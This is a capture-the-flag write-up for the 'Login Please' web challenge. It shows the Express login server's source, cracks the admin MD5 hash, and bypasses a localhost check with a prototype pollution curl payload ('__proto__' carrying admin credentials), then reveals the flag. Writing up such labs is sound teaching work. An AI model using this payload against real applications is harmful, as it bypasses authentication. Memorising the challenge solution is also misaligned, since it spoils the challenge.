Login Please
2 minutes to read
We are supposed to log in here: http://puzzler7.imaginaryctf.org:5001/
:
If we inspect the HTML code, we will see a comment that points to /source
:
So we have the source code used by the server:
const express = require('express')
const crypto = require('crypto')
function md5(text) {
return crypto.createHash('md5').update(text).digest('hex')
}
const app = express()
const users = {
guest: '084e0343a0486ff05530df6c705c8bb4',
admin: '21232f297a57a5a743894a0e4a801fc3',
'1337hacker': '2ab96390c7dbe3439de74d0c9b0b1767'
}
const localIPs = ['127.0.0.1', '::1', '::ffff:127.0.0.1']
app.use(express.urlencoded({ extended: false }))
app.use(express.json())
app.get('/', (req, res) => {
res.send(`
<form action="/login" method="POST">
<div>
<label for="username">Username: </label>
<input name="username" type="text" id="username">
</div>
<div>
<label for="password">Password: </label>
<input name="password" type="password" id="password">
</div>
<button type="submit">Login</button>
</form>
<!-- /source -->
`)
})
app.post('/login', (req, res) => {
if (req.body.username === 'admin' && !localIPs.includes(req.ip)) {
return res.end('Admin is only allowed from localhost')
}
const auth = Object.assign({}, req.body)
if (users[auth.username] === md5(auth.password)) {
if (auth.username === 'admin') {
res.end(`Welcome admin! The flag is ${process.env.FLAG}`)
} else {
res.end(`Welcome ${auth.username}!`)
}
} else {
res.end('Invalid username or password')
}
})
app.get('/source', (req, res) => {
res.sendFile(__filename)
})
app.get('/package.json', (req, res) => {
res.sendFile('package.json', { root: __dirname })
})
const port = 5001 || process.env.PORT
app.listen(port, () => {
console.log(`Server running on http://localhost:${port}`)
})
It is a website built with Express JS, in JavaScript (Node.js).
We see that the passwords are checked with MD5 against some hard-coded hashes. We would like to access as admin
, whose hashed password is 21232f297a57a5a743894a0e4a801fc3
. If we enter it in crackstation.net, we will find out that the password is admin
too:
But we cannot get the flag because the request IP is not 127.0.0.1
:
$ curl puzzler7.imaginaryctf.org:5001/login -d '{"username":"admin","password":"admin"}' -H 'Content-Type: application/json'
Admin is only allowed from localhost
However, after that check, there is a call to Object.assign({}, req.body)
. Here we have a Prototype Pollution vulnerability, so we can set default properties for every object (more information at security.snyk.io).
In order to pass the if
check, we can skip the username
and password
fields, and set them as the prototype for every object as follows:
$ curl puzzler7.imaginaryctf.org:5001/login -d '{"__proto__":{"username":"admin","password":"admin"}}' -H 'Content-Type: application/json'
Welcome admin! The flag is ictf{omg_js_why_are_you_doing_this_to_me}